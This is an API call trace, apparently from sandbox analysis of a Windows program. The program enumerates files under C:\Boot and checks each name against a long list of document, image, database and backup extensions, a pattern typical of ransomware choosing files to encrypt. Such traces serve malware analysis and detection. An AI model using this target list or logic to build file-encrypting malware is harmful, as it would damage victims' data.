	[0153.364] lstrcmpiW (lpString1=".cpp", lpString2="LOG1") returned -1
	[0153.364] lstrlenW (lpString=".cr2") returned 4
	[0153.364] lstrcmpiW (lpString1=".cr2", lpString2="LOG1") returned -1
	[0153.365] lstrlenW (lpString=".crt") returned 4
	[0153.366] lstrcmpiW (lpString1=".crt", lpString2="LOG1") returned -1
	[0153.366] lstrlenW (lpString=".crw") returned 4
	[0153.366] lstrcmpiW (lpString1=".crw", lpString2="LOG1") returned -1
	[0153.366] lstrlenW (lpString=".cs") returned 3
	[0153.366] lstrcmpiW (lpString1=".cs", lpString2="OG1") returned -1
	[0153.366] lstrlenW (lpString=".css") returned 4
	[0153.366] lstrcmpiW (lpString1=".css", lpString2="LOG1") returned -1
	[0153.366] lstrlenW (lpString=".csv") returned 4
	[0153.366] lstrcmpiW (lpString1=".csv", lpString2="LOG1") returned -1
	[0153.366] lstrlenW (lpString=".cub") returned 4
	[0153.366] lstrcmpiW (lpString1=".cub", lpString2="LOG1") returned -1
	[0153.366] lstrlenW (lpString=".dae") returned 4
	[0153.366] lstrcmpiW (lpString1=".dae", lpString2="LOG1") returned -1
	[0153.366] lstrlenW (lpString=".dat") returned 4
	[0153.366] lstrcmpiW (lpString1=".dat", lpString2="LOG1") returned -1
	[0153.366] lstrlenW (lpString=".db") returned 3
	[0153.366] lstrcmpiW (lpString1=".db", lpString2="OG1") returned -1
	[0153.366] lstrlenW (lpString=".dbf") returned 4
	[0153.366] lstrcmpiW (lpString1=".dbf", lpString2="LOG1") returned -1
	[0153.366] lstrlenW (lpString=".dbx") returned 4
	[0153.366] lstrcmpiW (lpString1=".dbx", lpString2="LOG1") returned -1
	[0153.366] lstrlenW (lpString=".dc3") returned 4
	[0153.366] lstrcmpiW (lpString1=".dc3", lpString2="LOG1") returned -1
	[0153.366] lstrlenW (lpString=".dcm") returned 4
	[0153.366] lstrcmpiW (lpString1=".dcm", lpString2="LOG1") returned -1
	[0153.366] lstrlenW (lpString=".dcr") returned 4
	[0153.366] lstrcmpiW (lpString1=".dcr", lpString2="LOG1") returned -1
	[0153.366] lstrlenW (lpString=".der") returned 4
	[0153.366] lstrcmpiW (lpString1=".der", lpString2="LOG1") returned -1
	[0153.366] lstrlenW (lpString=".dib") returned 4
	[0153.366] lstrcmpiW (lpString1=".dib", lpString2="LOG1") returned -1
	[0153.366] lstrlenW (lpString=".dic") returned 4
	[0153.366] lstrcmpiW (lpString1=".dic", lpString2="LOG1") returned -1
	[0153.366] lstrlenW (lpString=".dif") returned 4
	[0153.367] lstrcmpiW (lpString1=".dif", lpString2="LOG1") returned -1
	[0153.367] lstrlenW (lpString=".divx") returned 5
	[0153.367] lstrcmpiW (lpString1=".divx", lpString2=".LOG1") returned -1
	[0153.367] lstrlenW (lpString=".djvu") returned 5
	[0153.367] lstrcmpiW (lpString1=".djvu", lpString2=".LOG1") returned -1
	[0153.367] lstrlenW (lpString=".dng") returned 4
	[0153.367] lstrcmpiW (lpString1=".dng", lpString2="LOG1") returned -1
	[0153.367] lstrlenW (lpString=".doc") returned 4
	[0153.367] lstrcmpiW (lpString1=".doc", lpString2="LOG1") returned -1
	[0153.367] lstrlenW (lpString=".docm") returned 5
	[0153.367] lstrcmpiW (lpString1=".docm", lpString2=".LOG1") returned -1
	[0153.367] lstrlenW (lpString=".docx") returned 5
	[0153.367] lstrcmpiW (lpString1=".docx", lpString2=".LOG1") returned -1
	[0153.367] lstrlenW (lpString=".dot") returned 4
	[0153.367] lstrcmpiW (lpString1=".dot", lpString2="LOG1") returned -1
	[0153.367] lstrlenW (lpString=".dotm") returned 5
	[0153.367] lstrcmpiW (lpString1=".dotm", lpString2=".LOG1") returned -1
	[0153.367] lstrlenW (lpString=".dotx") returned 5
	[0153.367] lstrcmpiW (lpString1=".dotx", lpString2=".LOG1") returned -1
	[0153.367] lstrlenW (lpString=".dpx") returned 4
	[0153.367] lstrcmpiW (lpString1=".dpx", lpString2="LOG1") returned -1
	[0153.367] lstrlenW (lpString=".dqy") returned 4
	[0153.367] lstrcmpiW (lpString1=".dqy", lpString2="LOG1") returned -1
	[0153.367] lstrlenW (lpString=".dsn") returned 4
	[0153.367] lstrcmpiW (lpString1=".dsn", lpString2="LOG1") returned -1
	[0153.367] lstrlenW (lpString=".dt") returned 3
	[0153.367] lstrcmpiW (lpString1=".dt", lpString2="OG1") returned -1
	[0153.367] lstrlenW (lpString=".dtd") returned 4
	[0153.367] lstrcmpiW (lpString1=".dtd", lpString2="LOG1") returned -1
	[0153.367] lstrlenW (lpString=".dwg") returned 4
	[0153.367] lstrcmpiW (lpString1=".dwg", lpString2="LOG1") returned -1
	[0153.367] lstrlenW (lpString=".dwt") returned 4
	[0153.367] lstrcmpiW (lpString1=".dwt", lpString2="LOG1") returned -1
	[0153.367] lstrlenW (lpString=".dx") returned 3
	[0153.367] lstrcmpiW (lpString1=".dx", lpString2="OG1") returned -1
	[0153.367] lstrlenW (lpString=".dxf") returned 4
	[0153.367] lstrcmpiW (lpString1=".dxf", lpString2="LOG1") returned -1
	[0153.368] lstrlenW (lpString=".edml") returned 5
	[0153.368] lstrcmpiW (lpString1=".edml", lpString2=".LOG1") returned -1
	[0153.368] lstrlenW (lpString=".efd") returned 4
	[0153.368] lstrcmpiW (lpString1=".efd", lpString2="LOG1") returned -1
	[0153.368] lstrlenW (lpString=".elf") returned 4
	[0153.368] lstrcmpiW (lpString1=".elf", lpString2="LOG1") returned -1
	[0153.368] lstrlenW (lpString=".emf") returned 4
	[0153.368] lstrcmpiW (lpString1=".emf", lpString2="LOG1") returned -1
	[0153.368] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1
	[0153.368] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="bg-BG", cAlternateFileName="")) returned 1
	[0153.368] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0xfffe) returned 0x4130060
	[0153.368] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe179, dwReserved1=0x17a, cFileName=".", cAlternateFileName="")) returned 0x4140258
	[0153.368] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xffffe179, dwReserved1=0x17a, cFileName="..", cAlternateFileName="")) returned 1
	[0153.369] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0xffffe179, dwReserved1=0x17a, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0153.369] FindNextFileW (in: hFindFile=0x4140258, lpFindFileData=0x310f800 | out: lpFindFileData=0x310f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0xffffe179, dwReserved1=0x17a, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0
	[0153.369] FindClose (in: hFindFile=0x4140258 | out: hFindFile=0x4140258) returned 1
	[0153.369] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x4130060 | out: hHeap=0x5a0000) returned 1
	[0153.369] FindNextFileW (in: hFindFile=0x41400d8, lpFindFileData=0x310fa7c | out: lpFindFileData=0x310fa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x808, dwReserved1=0xffffb8f5, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1
	[0153.369] lstrlenW (lpString="bootspaces.dll") returned 14
	[0153.369] lstrlenW (lpString=".1cd") returned 4
	[0153.369] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0153.369] lstrlenW (lpString=".3ds") returned 4
	[0153.369] lstrcmpiW (lpString1=".3ds", lpString2=".dll") returned -1
	[0153.369] lstrlenW (lpString=".3fr") returned 4
	[0153.369] lstrcmpiW (lpString1=".3fr", lpString2=".dll") returned -1
	[0153.369] lstrlenW (lpString=".3g2") returned 4
	[0153.369] lstrcmpiW (lpString1=".3g2", lpString2=".dll") returned -1
	[0153.369] lstrlenW (lpString=".3gp") returned 4
	[0153.369] lstrcmpiW (lpString1=".3gp", lpString2=".dll") returned -1
	[0153.369] lstrlenW (lpString=".7z") returned 3
	[0153.369] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0153.369] lstrlenW (lpString=".accda") returned 6
	[0153.369] lstrcmpiW (lpString1=".accda", lpString2="es.dll") returned -1
	[0153.369] lstrlenW (lpString=".accdb") returned 6
	[0153.369] lstrcmpiW (lpString1=".accdb", lpString2="es.dll") returned -1
	[0153.369] lstrlenW (lpString=".accdc") returned 6
	[0153.369] lstrcmpiW (lpString1=".accdc", lpString2="es.dll") returned -1
	[0153.369] lstrlenW (lpString=".accde") returned 6
	[0153.369] lstrcmpiW (lpString1=".accde", lpString2="es.dll") returned -1
	[0153.369] lstrlenW (lpString=".accdt") returned 6
	[0153.370] lstrcmpiW (lpString1=".accdt", lpString2="es.dll") returned -1
	[0153.370] lstrlenW (lpString=".accdw") returned 6
	[0153.370] lstrcmpiW (lpString1=".accdw", lpString2="es.dll") returned -1
	[0153.370] lstrlenW (lpString=".adb") returned 4
	[0153.370] lstrcmpiW (lpString1=".adb", lpString2=".dll") returned -1
	[0153.370] lstrlenW (lpString=".adp") returned 4
	[0153.370] lstrcmpiW (lpString1=".adp", lpString2=".dll") returned -1
	[0153.370] lstrlenW (lpString=".ai") returned 3
	[0153.370] lstrcmpiW (lpString1=".ai", lpString2="dll") returned -1
	[0153.370] lstrlenW (lpString=".ai3") returned 4
	[0153.370] lstrcmpiW (lpString1=".ai3", lpString2=".dll") returned -1
	[0153.370] lstrlenW (lpString=".ai4") returned 4
	[0153.370] lstrcmpiW (lpString1=".ai4", lpString2=".dll") returned -1
	[0153.370] lstrlenW (lpString=".ai5") returned 4
	[0153.370] lstrcmpiW (lpString1=".ai5", lpString2=".dll") returned -1
	[0153.370] lstrlenW (lpString=".ai6") returned 4
	[0153.370] lstrcmpiW (lpString1=".ai6", lpString2=".dll") returned -1
	[0153.370] lstrlenW (lpString=".ai7") returned 4
	[0153.370] lstrcmpiW (lpString1=".ai7", lpString2=".dll") returned -1
	[0153.370] lstrlenW (lpString=".ai8") returned 4
	[0153.370] lstrcmpiW (lpString1=".ai8", lpString2=".dll") returned -1
	[0153.370] lstrlenW (lpString=".anim") returned 5
	[0153.370] lstrcmpiW (lpString1=".anim", lpString2="s.dll") returned -1
	[0153.370] lstrlenW (lpString=".arw") returned 4
	[0153.370] lstrcmpiW (lpString1=".arw", lpString2=".dll") returned -1
	[0153.370] lstrlenW (lpString=".as") returned 3
	[0153.370] lstrcmpiW (lpString1=".as", lpString2="dll") returned -1
	[0153.370] lstrlenW (lpString=".asa") returned 4
	[0153.370] lstrcmpiW (lpString1=".asa", lpString2=".dll") returned -1
	[0153.370] lstrlenW (lpString=".asc") returned 4
	[0153.370] lstrcmpiW (lpString1=".asc", lpString2=".dll") returned -1
	[0153.370] lstrlenW (lpString=".ascx") returned 5
	[0153.370] lstrcmpiW (lpString1=".ascx", lpString2="s.dll") returned -1
	[0153.370] lstrlenW (lpString=".asm") returned 4
	[0153.370] lstrcmpiW (lpString1=".asm", lpString2=".dll") returned -1
	[0153.370] lstrlenW (lpString=".asmx") returned 5
	[0153.370] lstrcmpiW (lpString1=".asmx", lpString2="s.dll") returned -1
	[0153.370] lstrlenW (lpString=".asp") returned 4
	[0153.371] lstrcmpiW (lpString1=".asp", lpString2=".dll") returned -1
	[0153.371] lstrlenW (lpString=".aspx") returned 5
	[0153.371] lstrcmpiW (lpString1=".aspx", lpString2="s.dll") returned -1
	[0153.371] lstrlenW (lpString=".asr") returned 4
	[0153.371] lstrcmpiW (lpString1=".asr", lpString2=".dll") returned -1
	[0153.371] lstrlenW (lpString=".asx") returned 4
	[0153.371] lstrcmpiW (lpString1=".asx", lpString2=".dll") returned -1
	[0153.371] lstrlenW (lpString=".avi") returned 4
	[0153.371] lstrcmpiW (lpString1=".avi", lpString2=".dll") returned -1
	[0153.371] lstrlenW (lpString=".avs") returned 4
	[0153.371] lstrcmpiW (lpString1=".avs", lpString2=".dll") returned -1
	[0153.371] lstrlenW (lpString=".backup") returned 7
	[0153.371] lstrcmpiW (lpString1=".backup", lpString2="ces.dll") returned -1
	[0153.371] lstrlenW (lpString=".bak") returned 4
	[0153.371] lstrcmpiW (lpString1=".bak", lpString2=".dll") returned -1
	[0153.371] lstrlenW (lpString=".bay") returned 4
	[0153.371] lstrcmpiW (lpString1=".bay", lpString2=".dll") returned -1
	[0153.371] lstrlenW (lpString=".bd") returned 3
	[0153.371] lstrcmpiW (lpString1=".bd", lpString2="dll") returned -1
	[0153.371] lstrlenW (lpString=".bin") returned 4
	[0153.371] lstrcmpiW (lpString1=".bin", lpString2=".dll") returned -1
	[0153.371] lstrlenW (lpString=".bmp") returned 4
	[0153.371] lstrcmpiW (lpString1=".bmp", lpString2=".dll") returned -1
	[0153.371] lstrlenW (lpString=".bz2") returned 4
	[0153.371] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0153.371] lstrlenW (lpString=".c") returned 2
	[0153.371] lstrcmpiW (lpString1=".c", lpString2="ll") returned -1
	[0153.371] lstrlenW (lpString=".cdr") returned 4
	[0153.371] lstrcmpiW (lpString1=".cdr", lpString2=".dll") returned -1
	[0153.371] lstrlenW (lpString=".cer") returned 4
	[0153.371] lstrcmpiW (lpString1=".cer", lpString2=".dll") returned -1
	[0153.371] lstrlenW (lpString=".cf") returned 3
	[0153.371] lstrcmpiW (lpString1=".cf", lpString2="dll") returned -1
	[0153.371] lstrlenW (lpString=".cfc") returned 4
	[0153.371] lstrcmpiW (lpString1=".cfc", lpString2=".dll") returned -1
	[0153.371] lstrlenW (lpString=".cfm") returned 4
	[0153.371] lstrcmpiW (lpString1=".cfm", lpString2=".dll") returned -1
	[0153.371] lstrlenW (lpString=".cfml") returned 5
	[0153.371] lstrcmpiW (lpString1=".cfml", lpString2="s.dll") returned -1
	[0153.372] lstrlenW (lpString=".cfu") returned 4
	[0153.372] lstrcmpiW (lpString1=".cfu", lpString2=".dll") returned -1
	[0153.372] lstrlenW (lpString=".chm") returned 4
	[0153.372] lstrcmpiW (lpString1=".chm", lpString2=".dll") returned -1
	[0153.372] lstrlenW (lpString=".cin") returned 4
	[0153.372] lstrcmpiW (lpString1=".cin", lpString2=".dll") returned -1
	[0153.372] lstrlenW (lpString=".class") returned 6
	[0153.372] lstrcmpiW (lpString1=".class", lpString2="es.dll") returned -1
	[0153.372] lstrlenW (lpString=".clx") returned 4
	[0153.372] lstrcmpiW (lpString1=".clx", lpString2=".dll") returned -1
	[0153.372] lstrlenW (lpString=".config") returned 7
	[0153.372] lstrcmpiW (lpString1=".config", lpString2="ces.dll") returned -1
	[0153.372] lstrlenW (lpString=".cpp") returned 4
	[0153.372] lstrcmpiW (lpString1=".cpp", lpString2=".dll") returned -1
	[0153.372] lstrlenW (lpString=".cr2") returned 4
	[0153.372] lstrcmpiW (lpString1=".cr2", lpString2=".dll") returned -1
	[0153.372] lstrlenW (lpString=".crt") returned 4
	[0153.372] lstrcmpiW (lpString1=".crt", lpString2=".dll") returned -1
	[0153.372] lstrlenW (lpString=".crw") returned 4
	[0153.372] lstrcmpiW (lpString1=".crw", lpString2=".dll") returned -1
	[0153.372] lstrlenW (lpString=".cs") returned 3
	[0153.372] lstrcmpiW (lpString1=".cs", lpString2="dll") returned -1
	[0153.372] lstrlenW (lpString=".css") returned 4
	[0153.372] lstrcmpiW (lpString1=".css", lpString2=".dll") returned -1
	[0153.372] lstrlenW (lpString=".csv") returned 4
	[0153.372] lstrcmpiW (lpString1=".csv", lpString2=".dll") returned -1
	[0153.372] lstrlenW (lpString=".cub") returned 4
	[0153.372] lstrcmpiW (lpString1=".cub", lpString2=".dll") returned -1
	[0153.372] lstrlenW (lpString=".dae") returned 4
	[0153.372] lstrcmpiW (lpString1=".dae", lpString2=".dll") returned -1
	[0153.372] lstrlenW (lpString=".dat") returned 4
	[0153.372] lstrcmpiW (lpString1=".dat", lpString2=".dll") returned -1
	[0153.372] lstrlenW (lpString=".db") returned 3
	[0153.372] lstrcmpiW (lpString1=".db", lpString2="dll") returned -1
	[0153.372] lstrlenW (lpString=".dbf") returned 4
	[0153.372] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0153.372] lstrlenW (lpString=".dbx") returned 4
	[0153.372] lstrcmpiW (lpString1=".dbx", lpString2=".dll") returned -1
	[0153.373] lstrlenW (lpString=".dc3") returned 4
	[0153.373] lstrcmpiW (lpString1=".dc3", lpString2=".dll") returned -1
	[0153.373] lstrlenW (lpString=".dcm") returned 4
	[0153.373] lstrcmpiW (lpString1=".dcm", lpString2=".dll") returned -1
	[0153.373] lstrlenW (lpString=".dcr") returned 4
	[0153.373] lstrcmpiW (lpString1=".dcr", lpString2=".dll") returned -1
	[0153.373] lstrlenW (lpString=".der") returned 4
	[0153.373] lstrcmpiW (lpString1=".der", lpString2=".dll") returned -1
	[0153.373] lstrlenW (lpString=".dib") returned 4
	[0153.373] lstrcmpiW (lpString1=".dib", lpString2=".dll") returned -1
	[0153.373] lstrlenW (lpString=".dic") returned 4
	[0153.373] lstrcmpiW (lpString1=".dic", lpString2=".dll") returned -1
	[0153.373] lstrlenW (lpString=".dif") returned 4
	[0153.373] lstrcmpiW (lpString1=".dif", lpString2=".dll") returned -1
	[0153.373] lstrlenW (lpString=".divx") returned 5
	[0153.373] lstrcmpiW (lpString1=".divx", lpString2="s.dll") returned -1
	[0153.373] lstrlenW (lpString=".djvu") returned 5
	[0153.373] lstrcmpiW (lpString1=".djvu", lpString2="s.dll") returned -1
	[0153.373] lstrlenW (lpString=".dng") returned 4
	[0153.373] lstrcmpiW (lpString1=".dng", lpString2=".dll") returned 1
	[0153.373] lstrlenW (lpString=".doc") returned 4
	[0153.373] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0153.373] lstrlenW (lpString=".docm") returned 5
	[0153.373] lstrcmpiW (lpString1=".docm", lpString2="s.dll") returned -1
	[0153.373] lstrlenW (lpString=".docx") returned 5
	[0153.373] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1
	[0153.373] lstrlenW (lpString=".dot") returned 4
	[0153.373] lstrcmpiW (lpString1=".dot", lpString2=".dll") returned 1
	[0153.373] lstrlenW (lpString=".dotm") returned 5
	[0153.373] lstrcmpiW (lpString1=".dotm", lpString2="s.dll") returned -1
	[0153.373] lstrlenW (lpString=".dotx") returned 5
	[0153.373] lstrcmpiW (lpString1=".dotx", lpString2="s.dll") returned -1
	[0153.373] lstrlenW (lpString=".dpx") returned 4
	[0153.373] lstrcmpiW (lpString1=".dpx", lpString2=".dll") returned 1
	[0153.373] lstrlenW (lpString=".dqy") returned 4
	[0153.373] lstrcmpiW (lpString1=".dqy", lpString2=".dll") returned 1
	[0153.373] lstrlenW (lpString=".dsn") returned 4
	[0153.373] lstrcmpiW (lpString1=".dsn", lpString2=".dll") returned 1
	[0153.373] lstrlenW (lpString=".dt") returned 3
	[0153.374] lstrcmpiW (lpString1=".dt", lpString2="dll") returned -1
	[0153.374] lstrlenW (lpString=".dtd") returned 4
	[0153.374] lstrcmpiW (lpString1=".dtd", lpString2=".dll") returned 1
	[0153.374] lstrlenW (lpString=".dwg") returned 4
	[0153.374] lstrcmpiW (lpString1=".dwg", lpString2=".dll") returned 1
	[0153.374] lstrlenW (lpString=".dwt") returned 4
	[0153.374] lstrcmpiW (lpString1=".dwt", lpString2=".dll") returned 1
	[0153.374] lstrlenW (lpString=".dx") returned 3
	[0153.374] lstrcmpiW (lpString1=".dx", lpString2="dll") returned -1
	[0153.374] lstrlenW (lpString=".dxf") returned 4
	[0153.374] lstrcmpiW (lpString1=".dxf", lpString2=".dll") returned 1
	[0153.374] lstrlenW (lpString=".edml") returned 5
	[0153.374] lstrcmpiW (lpString1=".edml", lpString2="s.dll") returned -1
	[0153.374] lstrlenW (lpString=".efd") returned 4
	[0153.374] lstrcmpiW (lpString1=".efd", lpString2=".dll") returned 1
	[0153.374] lstrlenW (lpString=".elf") returned 4
	[0153.374] lstrcmpiW (lpString1=".elf", lpString2=".dll") returned 1
	[0153.374] lstrlenW (lpString=".emf") returned 4
	[0153.374] lstrcmpiW (lpString1=".emf", lpString2=".dll") returned 1
	[0153.374] lstrlenW (lpString=".emz") returned 4
	[0153.374] lstrcmpiW (lpString1=".emz", lpString2=".dll") returned 1
	[0153.374] lstrlenW (lpString=".epf") returned 4
	[0153.374] lstrcmpiW (lpString1=".epf", lpString2=".dll") returned 1
	[0153.374] lstrlenW (lpString=".eps") returned 4
	[0153.374] lstrcmpiW (lpString1=".eps", lpString2=".dll") returned 1
	[0153.374] lstrlenW (lpString=".epsf") returned 5
	[0153.374] lstrcmpiW (lpString1=".epsf", lpString2="s.dll") returned -1
	[0153.374] lstrlenW (lpString=".epsp") returned 5
	[0153.374] lstrcmpiW (lpString1=".epsp", lpString2="s.dll") returned -1
	[0153.374] lstrlenW (lpString=".erf") returned 4
	[0153.374] lstrcmpiW (lpString1=".erf", lpString2=".dll") returned 1
	[0153.374] lstrlenW (lpString=".exr") returned 4
	[0153.374] lstrcmpiW (lpString1=".exr", lpString2=".dll") returned 1
	[0153.374] lstrlenW (lpString=".f4v") returned 4
	[0153.374] lstrcmpiW (lpString1=".f4v", lpString2=".dll") returned 1
	[0153.374] lstrlenW (lpString=".fido") returned 5
	[0153.374] lstrcmpiW (lpString1=".fido", lpString2="s.dll") returned -1
	[0153.374] lstrlenW (lpString=".flm") returned 4
	[0153.375] lstrcmpiW (lpString1=".flm", lpString2=".dll") returned 1
	[0153.375] lstrlenW (lpString=".flv") returned 4
	[0153.375] lstrcmpiW (lpString1=".flv", lpString2=".dll") returned 1
	[0153.375] lstrlenW (lpString=".frm") returned 4
	[0153.375] lstrcmpiW (lpString1=".frm", lpString2=".dll") returned 1
	[0153.375] lstrlenW (lpString=".fxg") returned 4
	[0153.375] lstrcmpiW (lpString1=".fxg", lpString2=".dll") returned 1
	[0153.375] lstrlenW (lpString=".geo") returned 4
	[0153.375] lstrcmpiW (lpString1=".geo", lpString2=".dll") returned 1
	[0153.375] lstrlenW (lpString=".gif") returned 4
	[0153.375] lstrcmpiW (lpString1=".gif", lpString2=".dll") returned 1
	[0153.375] lstrlenW (lpString=".grs") returned 4
	[0153.375] lstrcmpiW (lpString1=".grs", lpString2=".dll") returned 1
	[0153.375] lstrlenW (lpString=".gz") returned 3
	[0153.375] lstrcmpiW (lpString1=".gz", lpString2="dll") returned -1
	[0153.375] lstrlenW (lpString=".h") returned 2
	[0153.375] lstrcmpiW (lpString1=".h", lpString2="ll") returned -1
	[0153.375] lstrlenW (lpString=".hdr") returned 4
	[0153.375] lstrcmpiW (lpString1=".hdr", lpString2=".dll") returned 1
	[0153.375] lstrlenW (lpString=".hpp") returned 4
	[0153.375] lstrcmpiW (lpString1=".hpp", lpString2=".dll") returned 1
	[0153.375] lstrlenW (lpString=".hta") returned 4
	[0153.375] lstrcmpiW (lpString1=".hta", lpString2=".dll") returned 1
	[0153.375] lstrlenW (lpString=".htc") returned 4
	[0153.375] lstrcmpiW (lpString1=".htc", lpString2=".dll") returned 1
	[0153.375] lstrlenW (lpString=".htm") returned 4
	[0153.375] lstrcmpiW (lpString1=".htm", lpString2=".dll") returned 1
	[0153.375] lstrlenW (lpString=".html") returned 5
	[0153.375] lstrcmpiW (lpString1=".html", lpString2="s.dll") returned -1
	[0153.375] lstrlenW (lpString=".icb") returned 4
	[0153.375] lstrcmpiW (lpString1=".icb", lpString2=".dll") returned 1
	[0153.375] lstrlenW (lpString=".ics") returned 4
	[0153.375] lstrcmpiW (lpString1=".ics", lpString2=".dll") returned 1
	[0153.375] lstrlenW (lpString=".iff") returned 4
	[0153.375] lstrcmpiW (lpString1=".iff", lpString2=".dll") returned 1
	[0153.375] lstrlenW (lpString=".inc") returned 4
	[0153.375] lstrcmpiW (lpString1=".inc", lpString2=".dll") returned 1
	[0153.375] lstrlenW (lpString=".indd") returned 5
	[0153.375] lstrcmpiW (lpString1=".indd", lpString2="s.dll") returned -1
	[0153.376] lstrlenW (lpString=".ini") returned 4
	[0153.376] lstrcmpiW (lpString1=".ini", lpString2=".dll") returned 1
	[0153.376] lstrlenW (lpString=".iqy") returned 4
	[0153.376] lstrcmpiW (lpString1=".iqy", lpString2=".dll") returned 1
	[0153.376] lstrlenW (lpString=".j2c") returned 4
	[0153.376] lstrcmpiW (lpString1=".j2c", lpString2=".dll") returned 1
	[0153.376] lstrlenW (lpString=".j2k") returned 4
	[0153.376] lstrcmpiW (lpString1=".j2k", lpString2=".dll") returned 1
	[0153.376] lstrlenW (lpString=".java") returned 5
	[0153.376] lstrcmpiW (lpString1=".java", lpString2="s.dll") returned -1
	[0153.376] lstrlenW (lpString=".jp2") returned 4
	[0153.376] lstrcmpiW (lpString1=".jp2", lpString2=".dll") returned 1
	[0153.376] lstrlenW (lpString=".jpc") returned 4
	[0153.376] lstrcmpiW (lpString1=".jpc", lpString2=".dll") returned 1
	[0153.376] lstrlenW (lpString=".jpe") returned 4
	[0153.376] lstrcmpiW (lpString1=".jpe", lpString2=".dll") returned 1
	[0153.376] lstrlenW (lpString=".jpeg") returned 5
	[0153.376] lstrcmpiW (lpString1=".jpeg", lpString2="s.dll") returned -1
	[0153.376] lstrlenW (lpString=".jpf") returned 4
	[0153.376] lstrcmpiW (lpString1=".jpf", lpString2=".dll") returned 1
	[0153.376] lstrlenW (lpString=".jpg") returned 4
	[0153.376] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0153.376] lstrlenW (lpString=".jpx") returned 4
	[0153.376] lstrcmpiW (lpString1=".jpx", lpString2=".dll") returned 1
	[0153.376] lstrlenW (lpString=".js") returned 3
	[0153.376] lstrcmpiW (lpString1=".js", lpString2="dll") returned -1
	[0153.376] lstrlenW (lpString=".jsf") returned 4
	[0153.376] lstrcmpiW (lpString1=".jsf", lpString2=".dll") returned 1
	[0153.376] lstrlenW (lpString=".json") returned 5
	[0153.376] lstrcmpiW (lpString1=".json", lpString2="s.dll") returned -1
	[0153.376] lstrlenW (lpString=".jsp") returned 4
	[0153.376] lstrcmpiW (lpString1=".jsp", lpString2=".dll") returned 1
	[0153.376] lstrlenW (lpString=".kdc") returned 4
	[0153.376] lstrcmpiW (lpString1=".kdc", lpString2=".dll") returned 1
	[0153.376] lstrlenW (lpString=".kmz") returned 4
	[0153.376] lstrcmpiW (lpString1=".kmz", lpString2=".dll") returned 1
	[0153.376] lstrlenW (lpString=".kwm") returned 4
	[0153.376] lstrcmpiW (lpString1=".kwm", lpString2=".dll") returned 1
